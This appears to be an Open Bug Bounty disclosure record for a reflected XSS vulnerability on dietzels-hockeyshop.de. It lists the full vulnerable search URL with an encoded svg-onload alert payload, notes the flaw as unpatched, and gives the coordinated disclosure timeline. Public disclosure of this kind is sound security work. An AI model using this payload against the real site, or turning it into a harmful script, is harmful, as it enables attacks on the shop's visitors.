Lucene search

K
openbugbountyBadmaxxOBB:221600
HistoryMar 27, 2017 - 4:23 p.m.

dietzels-hockeyshop.de XSS vulnerability

2017-03-2716:23:00
badmaxx
www.openbugbounty.org
8
Vulnerable URL:
http://www.dietzels-hockeyshop.de/shop/advanced_search_result.php?keywords=%22%3E%3Csvg%2Fonload%3Dalert(%2FOPENBUGBOUNTY%2F)%3E&categories;_id=&inc;_subcat=1&manufacturers;_id=&pfrom;=&pto;=&x;=0&y;=0
Details:
Description Value
Patched: No
Latest check for patch: 28.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
VIP website status: No
Check dietzels-hockeyshop.de SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 27 March, 2017 16:23 GMT
Generic security notifications sent to website owner 27 March, 2017 16:25 GMT
Vulnerability details disclosed by researcher 3 April, 2017 17:14 GMT